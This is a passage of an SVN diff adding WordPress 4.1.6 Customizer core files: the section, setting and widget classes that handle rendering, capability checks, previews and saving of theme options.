+	 * @since 4.1.0
+	 * @access public
+	 * @var int
+	 */
+	public $instance_number;
+
+	/**
+	 * WP_Customize_Manager instance.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Unique identifier.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * Priority of the section which informs load order of sections.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 * @var integer
+	 */
+	public $priority = 160;
+
+	/**
+	 * Panel in which to show the section, making it a sub-section.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 * @var string
+	 */
+	public $panel = '';
+
+	/**
+	 * Capability required for the section.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 * @var string
+	 */
+	public $capability = 'edit_theme_options';
+
+	/**
+	 * Theme feature support for the section.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 * @var string|array
+	 */
+	public $theme_supports = '';
+
+	/**
+	 * Title of the section to show in UI.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 * @var string
+	 */
+	public $title = '';
+
+	/**
+	 * Description to show in the UI.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 * @var string
+	 */
+	public $description = '';
+
+	/**
+	 * Customizer controls for this section.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 * @var array
+	 */
+	public $controls;
+
+	/**
+	 * Type of this section.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $type = 'default';
+
+	/**
+	 * Active callback.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @see WP_Customize_Section::active()
+	 *
+	 * @var callable Callback is called with one argument, the instance of
+	 *               {@see WP_Customize_Section}, and returns bool to indicate
+	 *               whether the section is active (such as it relates to the URL
+	 *               currently being previewed).
+	 */
+	public $active_callback = '';
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      An specific ID of the section.
+	 * @param array                $args    Section arguments.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = $args[ $key ];
+			}
+		}
+
+		$this->manager = $manager;
+		$this->id = $id;
+		if ( empty( $this->active_callback ) ) {
+			$this->active_callback = array( $this, 'active_callback' );
+		}
+		self::$instance_count += 1;
+		$this->instance_number = self::$instance_count;
+
+		$this->controls = array(); // Users cannot customize the $controls array.
+
+		return $this;
+	}
+
+	/**
+	 * Check whether section is active to current Customizer preview.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @return bool Whether the section is active to the current preview.
+	 */
+	public final function active() {
+		$section = $this;
+		$active = call_user_func( $this->active_callback, $this );
+
+		/**
+		 * Filter response of {@see WP_Customize_Section::active()}.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param bool                 $active  Whether the Customizer section is active.
+		 * @param WP_Customize_Section $section {@see WP_Customize_Section} instance.
+		 */
+		$active = apply_filters( 'customize_section_active', $active, $section );
+
+		return $active;
+	}
+
+	/**
+	 * Default callback used when invoking {@see WP_Customize_Section::active()}.
+	 *
+	 * Subclasses can override this with their specific logic, or they may provide
+	 * an 'active_callback' argument to the constructor.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @return bool Always true.
+	 */
+	public function active_callback() {
+		return true;
+	}
+
+	/**
+	 * Gather the parameters passed to client JavaScript via JSON.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array The array to be exported to the client as JSON.
+	 */
+	public function json() {
+		$array = wp_array_slice_assoc( (array) $this, array( 'title', 'description', 'priority', 'panel', 'type' ) );
+		$array['content'] = $this->get_content();
+		$array['active'] = $this->active();
+		$array['instanceNumber'] = $this->instance_number;
+		return $array;
+	}
+
+	/**
+	 * Checks required user capabilities and whether the theme has the
+	 * feature support required by the section.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool False if theme doesn't support the section or user doesn't have the capability.
+	 */
+	public final function check_capabilities() {
+		if ( $this->capability && ! call_user_func_array( 'current_user_can', (array) $this->capability ) ) {
+			return false;
+		}
+
+		if ( $this->theme_supports && ! call_user_func_array( 'current_theme_supports', (array) $this->theme_supports ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the section's content template for insertion into the Customizer pane.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return string Contents of the section.
+	 */
+	public final function get_content() {
+		ob_start();
+		$this->maybe_render();
+		$template = trim( ob_get_contents() );
+		ob_end_clean();
+		return $template;
+	}
+
+	/**
+	 * Check capabilities and render the section.
+	 *
+	 * @since 3.4.0
+	 */
+	public final function maybe_render() {
+		if ( ! $this->check_capabilities() ) {
+			return;
+		}
+
+		/**
+		 * Fires before rendering a Customizer section.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Section $this WP_Customize_Section instance.
+		 */
+		do_action( 'customize_render_section', $this );
+		/**
+		 * Fires before rendering a specific Customizer section.
+		 *
+		 * The dynamic portion of the hook name, `$this->id`, refers to the ID
+		 * of the specific Customizer section to be rendered.
+		 *
+		 * @since 3.4.0
+		 */
+		do_action( "customize_render_section_{$this->id}" );
+
+		$this->render();
+	}
+
+	/**
+	 * Render the section, and the controls that have been added to it.
+	 *
+	 * @since 3.4.0
+	 */
+	protected function render() {
+		$classes = 'accordion-section control-section control-section-' . $this->type;
+		?>
+		<li id="accordion-section-<?php echo esc_attr( $this->id ); ?>" class="<?php echo esc_attr( $classes ); ?>">
+			<h3 class="accordion-section-title" tabindex="0">
+				<?php echo esc_html( $this->title ); ?>
+				<span class="screen-reader-text"><?php _e( 'Press return or enter to expand' ); ?></span>
+			</h3>
+			<ul class="accordion-section-content">
+				<?php if ( ! empty( $this->description ) ) : ?>
+					<li class="customize-section-description-container">
+						<p class="description customize-section-description"><?php echo $this->description; ?></p>
+					</li>
+				<?php endif; ?>
+			</ul>
+		</li>
+		<?php
+	}
+}
+
+/**
+ * Customizer section representing widget area (sidebar).
+ *
+ * @package WordPress
+ * @subpackage Customize
+ *
+ * @since 4.1.0
+ *
+ * @see WP_Customize_Section
+ */
+class WP_Customize_Sidebar_Section extends WP_Customize_Section {
+
+	/**
+	 * Type of this section.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $type = 'sidebar';
+
+	/**
+	 * Unique identifier.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $sidebar_id;
+
+	/**
+	 * Gather the parameters passed to client JavaScript via JSON.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array The array to be exported to the client as JSON.
+	 */
+	public function json() {
+		$json = parent::json();
+		$json['sidebarId'] = $this->sidebar_id;
+		return $json;
+	}
+
+	/**
+	 * Whether the current sidebar is rendered on the page.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @return bool Whether sidebar is rendered.
+	 */
+	public function active_callback() {
+		return $this->manager->widgets->is_sidebar_rendered( $this->sidebar_id );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-customize-setting.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-customize-setting.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-customize-setting.php	(revision 33402)
@@ -0,0 +1,586 @@
+<?php
+/**
+ * Customize Setting Class.
+ *
+ * Handles saving and sanitizing of settings.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+class WP_Customize_Setting {
+	/**
+	 * @access public
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * @access public
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * @access public
+	 * @var string
+	 */
+	public $type = 'theme_mod';
+
+	/**
+	 * Capability required to edit this setting.
+	 *
+	 * @var string
+	 */
+	public $capability = 'edit_theme_options';
+
+	/**
+	 * Feature a theme is required to support to enable this setting.
+	 *
+	 * @access public
+	 * @var string
+	 */
+	public $theme_supports  = '';
+	public $default         = '';
+	public $transport       = 'refresh';
+
+	/**
+	 * Server-side sanitization callback for the setting's value.
+	 *
+	 * @var callback
+	 */
+	public $sanitize_callback    = '';
+	public $sanitize_js_callback = '';
+
+	protected $id_data = array();
+
+	/**
+	 * Cached and sanitized $_POST value for the setting.
+	 *
+	 * @access private
+	 * @var mixed
+	 */
+	private $_post_value;
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Manager $manager
+	 * @param string               $id      An specific ID of the setting. Can be a
+	 *                                      theme mod or option name.
+	 * @param array                $args    Setting arguments.
+	 * @return WP_Customize_Setting $setting
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) )
+				$this->$key = $args[ $key ];
+		}
+
+		$this->manager = $manager;
+		$this->id = $id;
+
+		// Parse the ID for array keys.
+		$this->id_data[ 'keys' ] = preg_split( '/\[/', str_replace( ']', '', $this->id ) );
+		$this->id_data[ 'base' ] = array_shift( $this->id_data[ 'keys' ] );
+
+		// Rebuild the ID.
+		$this->id = $this->id_data[ 'base' ];
+		if ( ! empty( $this->id_data[ 'keys' ] ) )
+			$this->id .= '[' . implode( '][', $this->id_data[ 'keys' ] ) . ']';
+
+		if ( $this->sanitize_callback )
+			add_filter( "customize_sanitize_{$this->id}", $this->sanitize_callback, 10, 2 );
+
+		if ( $this->sanitize_js_callback )
+			add_filter( "customize_sanitize_js_{$this->id}", $this->sanitize_js_callback, 10, 2 );
+
+		return $this;
+	}
+
+	protected $_original_value;
+
+	/**
+	 * Handle previewing the setting.
+	 *
+	 * @since 3.4.0
+	 */
+	public function preview() {
+		if ( ! isset( $this->_original_value ) ) {
+			$this->_original_value = $this->value();
+		}
+
+		switch( $this->type ) {
+			case 'theme_mod' :
+				add_filter( 'theme_mod_' . $this->id_data[ 'base' ], array( $this, '_preview_filter' ) );
+				break;
+			case 'option' :
+				if ( empty( $this->id_data[ 'keys' ] ) )
+					add_filter( 'pre_option_' . $this->id_data[ 'base' ], array( $this, '_preview_filter' ) );
+				else {
+					add_filter( 'option_' . $this->id_data[ 'base' ], array( $this, '_preview_filter' ) );
+					add_filter( 'default_option_' . $this->id_data[ 'base' ], array( $this, '_preview_filter' ) );
+				}
+				break;
+			default :
+
+				/**
+				 * Fires when the {@see WP_Customize_Setting::preview()} method is called for settings
+				 * not handled as theme_mods or options.
+				 *
+				 * The dynamic portion of the hook name, `$this->id`, refers to the setting ID.
+				 *
+				 * @since 3.4.0
+				 *
+				 * @param WP_Customize_Setting $this {@see WP_Customize_Setting} instance.
+				 */
+				do_action( "customize_preview_{$this->id}", $this );
+
+				/**
+				 * Fires when the {@see WP_Customize_Setting::preview()} method is called for settings
+				 * not handled as theme_mods or options.
+				 *
+				 * The dynamic portion of the hook name, `$this->type`, refers to the setting type.
+				 *
+				 * @since 4.1.0
+				 *
+				 * @param WP_Customize_Setting $this {@see WP_Customize_Setting} instance.
+				 */
+				do_action( "customize_preview_{$this->type}", $this );
+		}
+	}
+
+	/**
+	 * Callback function to filter the theme mods and options.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Setting::multidimensional_replace()
+	 *
+	 * @param mixed $original Old value.
+	 * @return mixed New or old value.
+	 */
+	public function _preview_filter( $original ) {
+		$undefined = new stdClass(); // symbol hack
+		$post_value = $this->manager->post_value( $this, $undefined );
+		if ( $undefined === $post_value ) {
+			$value = $this->_original_value;
+		} else {
+			$value = $post_value;
+		}
+
+		return $this->multidimensional_replace( $original, $this->id_data['keys'], $value );
+	}
+
+	/**
+	 * Check user capabilities and theme supports, and then save
+	 * the value of the setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return false|null False if cap check fails or value isn't set.
+	 */
+	public final function save() {
+		$value = $this->post_value();
+
+		if ( ! $this->check_capabilities() || ! isset( $value ) )
+			return false;
+
+		/**
+		 * Fires when the WP_Customize_Setting::save() method is called.
+		 *
+		 * The dynamic portion of the hook name, `$this->id_data['base']` refers to
+		 * the base slug of the setting name.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Setting $this {@see WP_Customize_Setting} instance.
+		 */
+		do_action( 'customize_save_' . $this->id_data[ 'base' ], $this );
+
+		$this->update( $value );
+	}
+
+	/**
+	 * Fetch and sanitize the $_POST value for the setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $default A default value which is used as a fallback. Default is null.
+	 * @return mixed The default value on failure, otherwise the sanitized value.
+	 */
+	public final function post_value( $default = null ) {
+		// Check for a cached value
+		if ( isset( $this->_post_value ) )
+			return $this->_post_value;
+
+		// Call the manager for the post value
+		$result = $this->manager->post_value( $this );
+
+		if ( isset( $result ) )
+			return $this->_post_value = $result;
+		else
+			return $default;
+	}
+
+	/**
+	 * Sanitize an input.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $value The value to sanitize.
+	 * @return mixed Null if an input isn't valid, otherwise the sanitized value.
+	 */
+	public function sanitize( $value ) {
+		$value = wp_unslash( $value );
+
+		/**
+		 * Filter a Customize setting value in un-slashed form.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param mixed                $value Value of the setting.
+		 * @param WP_Customize_Setting $this  WP_Customize_Setting instance.
+		 */
+		return apply_filters( "customize_sanitize_{$this->id}", $value, $this );
+	}
+
+	/**
+	 * Save the value of the setting, using the related API.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $value The value to update.
+	 * @return mixed The result of saving the value.
+	 */
+	protected function update( $value ) {
+		switch( $this->type ) {
+			case 'theme_mod' :
+				return $this->_update_theme_mod( $value );
+
+			case 'option' :
+				return $this->_update_option( $value );
+
+			default :
+
+				/**
+				 * Fires when the {@see WP_Customize_Setting::update()} method is called for settings
+				 * not handled as theme_mods or options.
+				 *
+				 * The dynamic portion of the hook name, `$this->type`, refers to the type of setting.
+				 *
+				 * @since 3.4.0
+				 *
+				 * @param mixed                $value Value of the setting.
+				 * @param WP_Customize_Setting $this  WP_Customize_Setting instance.
+				 */
+				return do_action( 'customize_update_' . $this->type, $value, $this );
+		}
+	}
+
+	/**
+	 * Update the theme mod from the value of the parameter.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $value The value to update.
+	 * @return mixed The result of saving the value.
+	 */
+	protected function _update_theme_mod( $value ) {
+		// Handle non-array theme mod.
+		if ( empty( $this->id_data[ 'keys' ] ) )
+			return set_theme_mod( $this->id_data[ 'base' ], $value );
+
+		// Handle array-based theme mod.
+		$mods = get_theme_mod( $this->id_data[ 'base' ] );
+		$mods = $this->multidimensional_replace( $mods, $this->id_data[ 'keys' ], $value );
+		if ( isset( $mods ) )
+			return set_theme_mod( $this->id_data[ 'base' ], $mods );
+	}
+
+	/**
+	 * Update the option from the value of the setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $value The value to update.
+	 * @return bool|null The result of saving the value.
+	 */
+	protected function _update_option( $value ) {
+		// Handle non-array option.
+		if ( empty( $this->id_data[ 'keys' ] ) )
+			return update_option( $this->id_data[ 'base' ], $value );
+
+		// Handle array-based options.
+		$options = get_option( $this->id_data[ 'base' ] );
+		$options = $this->multidimensional_replace( $options, $this->id_data[ 'keys' ], $value );
+		if ( isset( $options ) )
+			return update_option( $this->id_data[ 'base' ], $options );
+	}
+
+	/**
+	 * Fetch the value of the setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return mixed The value.
+	 */
+	public function value() {
+		// Get the callback that corresponds to the setting type.
+		switch( $this->type ) {
+			case 'theme_mod' :
+				$function = 'get_theme_mod';
+				break;
+			case 'option' :
+				$function = 'get_option';
+				break;
+			default :
+
+				/**
+				 * Filter a Customize setting value not handled as a theme_mod or option.
+				 *
+				 * The dynamic portion of the hook name, `$this->id_date['base']`, refers to
+				 * the base slug of the setting name.
+				 *
+				 * For settings handled as theme_mods or options, see those corresponding
+				 * functions for available hooks.
+				 *
+				 * @since 3.4.0
+				 *
+				 * @param mixed $default The setting default value. Default empty.
+				 */
+				return apply_filters( 'customize_value_' . $this->id_data[ 'base' ], $this->default );
+		}
+
+		// Handle non-array value
+		if ( empty( $this->id_data[ 'keys' ] ) )
+			return $function( $this->id_data[ 'base' ], $this->default );
+
+		// Handle array-based value
+		$values = $function( $this->id_data[ 'base' ] );
+		return $this->multidimensional_get( $values, $this->id_data[ 'keys' ], $this->default );
+	}
+
+	/**
+	 * Sanitize the setting's value for use in JavaScript.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return mixed The requested escaped value.
+	 */
+	public function js_value() {
+
+		/**
+		 * Filter a Customize setting value for use in JavaScript.
+		 *
+		 * The dynamic portion of the hook name, `$this->id`, refers to the setting ID.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param mixed                $value The setting value.
+		 * @param WP_Customize_Setting $this  {@see WP_Customize_Setting} instance.
+		 */
+		$value = apply_filters( "customize_sanitize_js_{$this->id}", $this->value(), $this );
+
+		if ( is_string( $value ) )
+			return html_entity_decode( $value, ENT_QUOTES, 'UTF-8');
+
+		return $value;
+	}
+
+	/**
+	 * Validate user capabilities whether the theme supports the setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool False if theme doesn't support the setting or user can't change setting, otherwise true.
+	 */
+	public final function check_capabilities() {
+		if ( $this->capability && ! call_user_func_array( 'current_user_can', (array) $this->capability ) )
+			return false;
+
+		if ( $this->theme_supports && ! call_user_func_array( 'current_theme_supports', (array) $this->theme_supports ) )
+			return false;
+
+		return true;
+	}
+
+	/**
+	 * Multidimensional helper function.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $root
+	 * @param $keys
+	 * @param bool $create Default is false.
+	 * @return null|array Keys are 'root', 'node', and 'key'.
+	 */
+	final protected function multidimensional( &$root, $keys, $create = false ) {
+		if ( $create && empty( $root ) )
+			$root = array();
+
+		if ( ! isset( $root ) || empty( $keys ) )
+			return;
+
+		$last = array_pop( $keys );
+		$node = &$root;
+
+		foreach ( $keys as $key ) {
+			if ( $create && ! isset( $node[ $key ] ) )
+				$node[ $key ] = array();
+
+			if ( ! is_array( $node ) || ! isset( $node[ $key ] ) )
+				return;
+
+			$node = &$node[ $key ];
+		}
+
+		if ( $create ) {
+			if ( ! is_array( $node ) ) {
+				// account for an array overriding a string or object value
+				$node = array();
+			}
+			if ( ! isset( $node[ $last ] ) ) {
+				$node[ $last ] = array();
+			}
+		}
+
+		if ( ! isset( $node[ $last ] ) )
+			return;
+
+		return array(
+			'root' => &$root,
+			'node' => &$node,
+			'key'  => $last,
+		);
+	}
+
+	/**
+	 * Will attempt to replace a specific value in a multidimensional array.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $root
+	 * @param $keys
+	 * @param mixed $value The value to update.
+	 * @return
+	 */
+	final protected function multidimensional_replace( $root, $keys, $value ) {
+		if ( ! isset( $value ) )
+			return $root;
+		elseif ( empty( $keys ) ) // If there are no keys, we're replacing the root.
+			return $value;
+
+		$result = $this->multidimensional( $root, $keys, true );
+
+		if ( isset( $result ) )
+			$result['node'][ $result['key'] ] = $value;
+
+		return $root;
+	}
+
+	/**
+	 * Will attempt to fetch a specific value from a multidimensional array.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $root
+	 * @param $keys
+	 * @param mixed $default A default value which is used as a fallback. Default is null.
+	 * @return mixed The requested value or the default value.
+	 */
+	final protected function multidimensional_get( $root, $keys, $default = null ) {
+		if ( empty( $keys ) ) // If there are no keys, test the root.
+			return isset( $root ) ? $root : $default;
+
+		$result = $this->multidimensional( $root, $keys );
+		return isset( $result ) ? $result['node'][ $result['key'] ] : $default;
+	}
+
+	/**
+	 * Will attempt to check if a specific value in a multidimensional array is set.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $root
+	 * @param $keys
+	 * @return bool True if value is set, false if not.
+	 */
+	final protected function multidimensional_isset( $root, $keys ) {
+		$result = $this->multidimensional_get( $root, $keys );
+		return isset( $result );
+	}
+}
+
+/**
+ * A setting that is used to filter a value, but will not save the results.
+ *
+ * Results should be properly handled using another setting or callback.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+class WP_Customize_Filter_Setting extends WP_Customize_Setting {
+
+	/**
+	 * @since 3.4.0
+	 */
+	public function update( $value ) {}
+}
+
+/**
+ * A setting that is used to filter a value, but will not save the results.
+ *
+ * Results should be properly handled using another setting or callback.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+final class WP_Customize_Header_Image_Setting extends WP_Customize_Setting {
+	public $id = 'header_image_data';
+
+	/**
+	 * @since 3.4.0
+	 *
+	 * @param $value
+	 */
+	public function update( $value ) {
+		global $custom_image_header;
+
+		// If the value doesn't exist (removed or random),
+		// use the header_image value.
+		if ( ! $value )
+			$value = $this->manager->get_setting('header_image')->post_value();
+
+		if ( is_array( $value ) && isset( $value['choice'] ) )
+			$custom_image_header->set_header_image( $value['choice'] );
+		else
+			$custom_image_header->set_header_image( $value );
+	}
+}
+
+/**
+ * Class WP_Customize_Background_Image_Setting
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+final class WP_Customize_Background_Image_Setting extends WP_Customize_Setting {
+	public $id = 'background_image_thumb';
+
+	/**
+	 * @since 3.4.0
+	 *
+	 * @param $value
+	 */
+	public function update( $value ) {
+		remove_theme_mod( 'background_image_thumb' );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp-customize-widgets.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp-customize-widgets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp-customize-widgets.php	(revision 33402)
@@ -0,0 +1,1560 @@
+<?php
+/**
+ * Customize Widgets Class
+ *
+ * Implements widget management in the Customizer.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.9.0
+ */
+final class WP_Customize_Widgets {
+
+	/**
+	 * WP_Customize_Manager instance.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * All id_bases for widgets defined in core.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $core_widget_id_bases = array(
+		'archives', 'calendar', 'categories', 'links', 'meta',
+		'nav_menu', 'pages', 'recent-comments', 'recent-posts',
+		'rss', 'search', 'tag_cloud', 'text',
+	);
+
+	/**
+	 * @since 3.9.0
+	 * @access protected
+	 * @var
+	 */
+	protected $_customized;
+
+	/**
+	 * @since 3.9.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $_prepreview_added_filters = array();
+
+	/**
+	 * @since 3.9.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $rendered_sidebars = array();
+
+	/**
+	 * @since 3.9.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $rendered_widgets = array();
+
+	/**
+	 * @since 3.9.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $old_sidebars_widgets = array();
+
+	/**
+	 * Initial loader.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param WP_Customize_Manager $manager Customize manager bootstrap instance.
+	 */
+	public function __construct( $manager ) {
+		$this->manager = $manager;
+
+		add_action( 'after_setup_theme',                       array( $this, 'setup_widget_addition_previews' ) );
+		add_action( 'wp_loaded',                               array( $this, 'override_sidebars_widgets_for_theme_switch' ) );
+		add_action( 'customize_controls_init',                 array( $this, 'customize_controls_init' ) );
+		add_action( 'customize_register',                      array( $this, 'schedule_customize_register' ), 1 );
+		add_action( 'customize_controls_enqueue_scripts',      array( $this, 'enqueue_scripts' ) );
+		add_action( 'customize_controls_print_styles',         array( $this, 'print_styles' ) );
+		add_action( 'customize_controls_print_scripts',        array( $this, 'print_scripts' ) );
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_footer_scripts' ) );
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'output_widget_control_templates' ) );
+		add_action( 'customize_preview_init',                  array( $this, 'customize_preview_init' ) );
+
+		add_action( 'dynamic_sidebar',                         array( $this, 'tally_rendered_widgets' ) );
+		add_filter( 'is_active_sidebar',                       array( $this, 'tally_sidebars_via_is_active_sidebar_calls' ), 10, 2 );
+		add_filter( 'dynamic_sidebar_has_widgets',             array( $this, 'tally_sidebars_via_dynamic_sidebar_calls' ), 10, 2 );
+	}
+
+	/**
+	 * Get an unslashed post value or return a default.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @access protected
+	 *
+	 * @param string $name    Post value.
+	 * @param mixed  $default Default post value.
+	 * @return mixed Unslashed post value or default value.
+	 */
+	protected function get_post_value( $name, $default = null ) {
+		if ( ! isset( $_POST[ $name ] ) ) {
+			return $default;
+		}
+
+		return wp_unslash( $_POST[$name] );
+	}
+
+	/**
+	 * Set up widget addition previews.
+	 *
+	 * Since the widgets get registered on 'widgets_init' before the Customizer
+	 * settings are set up on 'customize_register', we have to filter the options
+	 * similarly to how the setting previewer will filter the options later.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @access public
+	 */
+	public function setup_widget_addition_previews() {
+		$is_customize_preview = false;
+
+		if ( ! empty( $this->manager ) && ! is_admin() && 'on' === $this->get_post_value( 'wp_customize' ) ) {
+			$is_customize_preview = check_ajax_referer( 'preview-customize_' . $this->manager->get_stylesheet(), 'nonce', false );
+		}
+
+		$is_ajax_widget_update = false;
+		if ( $this->manager->doing_ajax() && 'update-widget' === $this->get_post_value( 'action' ) ) {
+			$is_ajax_widget_update = check_ajax_referer( 'update-widget', 'nonce', false );
+		}
+
+		$is_ajax_customize_save = false;
+		if ( $this->manager->doing_ajax() && 'customize_save' === $this->get_post_value( 'action' ) ) {
+			$is_ajax_customize_save = check_ajax_referer( 'save-customize_' . $this->manager->get_stylesheet(), 'nonce', false );
+		}
+
+		$is_valid_request = ( $is_ajax_widget_update || $is_customize_preview || $is_ajax_customize_save );
+		if ( ! $is_valid_request ) {
+			return;
+		}
+
+		// Input from Customizer preview.
+		if ( isset( $_POST['customized'] ) ) {
+			$this->_customized = json_decode( $this->get_post_value( 'customized' ), true );
+		} else { // Input from ajax widget update request.
+			$this->_customized = array();
+			$id_base = $this->get_post_value( 'id_base' );
+			$widget_number = $this->get_post_value( 'widget_number', false );
+			$option_name = 'widget_' . $id_base;
+			$this->_customized[ $option_name ] = array();
+			if ( preg_match( '/^[0-9]+$/', $widget_number ) ) {
+				$option_name .= '[' . $widget_number . ']';
+				$this->_customized[ $option_name ][ $widget_number ] = array();
+			}
+		}
+
+		$function = array( $this, 'prepreview_added_sidebars_widgets' );
+
+		$hook = 'option_sidebars_widgets';
+		add_filter( $hook, $function );
+		$this->_prepreview_added_filters[] = compact( 'hook', 'function' );
+
+		$hook = 'default_option_sidebars_widgets';
+		add_filter( $hook, $function );
+		$this->_prepreview_added_filters[] = compact( 'hook', 'function' );
+
+		$function = array( $this, 'prepreview_added_widget_instance' );
+		foreach ( $this->_customized as $setting_id => $value ) {
+			if ( preg_match( '/^(widget_.+?)(?:\[(\d+)\])?$/', $setting_id, $matches ) ) {
+				$option = $matches[1];
+
+				$hook = sprintf( 'option_%s', $option );
+				if ( ! has_filter( $hook, $function ) ) {
+					add_filter( $hook, $function );
+					$this->_prepreview_added_filters[] = compact( 'hook', 'function' );
+				}
+
+				$hook = sprintf( 'default_option_%s', $option );
+				if ( ! has_filter( $hook, $function ) ) {
+					add_filter( $hook, $function );
+					$this->_prepreview_added_filters[] = compact( 'hook', 'function' );
+				}
+
+				/*
+				 * Make sure the option is registered so that the update_option()
+				 * won't fail due to the filters providing a default value, which
+				 * causes the update_option() to get confused.
+				 */
+				add_option( $option, array() );
+			}
+		}
+	}
+
+	/**
+	 * Ensure that newly-added widgets will appear in the widgets_sidebars.
+	 *
+	 * This is necessary because the Customizer's setting preview filters
+	 * are added after the widgets_init action, which is too late for the
+	 * widgets to be set up properly.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $sidebars_widgets Associative array of sidebars and their widgets.
+	 * @return array Filtered array of sidebars and their widgets.
+	 */
+	public function prepreview_added_sidebars_widgets( $sidebars_widgets ) {
+		foreach ( $this->_customized as $setting_id => $value ) {
+			if ( preg_match( '/^sidebars_widgets\[(.+?)\]$/', $setting_id, $matches ) ) {
+				$sidebar_id = $matches[1];
+				$sidebars_widgets[ $sidebar_id ] = $value;
+			}
+		}
+		return $sidebars_widgets;
+	}
+
+	/**
+	 * Ensure newly-added widgets have empty instances so they
+	 * will be recognized.
+	 *
+	 * This is necessary because the Customizer's setting preview
+	 * filters are added after the widgets_init action, which is
+	 * too late for the widgets to be set up properly.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array|bool|mixed $value Widget instance(s), false if open was empty.
+	 * @return array|mixed Widget instance(s) with additions.
+	 */
+	public function prepreview_added_widget_instance( $value = false ) {
+		if ( ! preg_match( '/^(?:default_)?option_(widget_(.+))/', current_filter(), $matches ) ) {
+			return $value;
+		}
+		$id_base = $matches[2];
+
+		foreach ( $this->_customized as $setting_id => $setting ) {
+			$parsed_setting_id = $this->parse_widget_setting_id( $setting_id );
+			if ( is_wp_error( $parsed_setting_id ) || $id_base !== $parsed_setting_id['id_base'] ) {
+				continue;
+			}
+			$widget_number = $parsed_setting_id['number'];
+
+			if ( is_null( $widget_number ) ) {
+				// Single widget.
+				if ( false === $value ) {
+					$value = array();
+				}
+			} else {
+				// Multi widget.
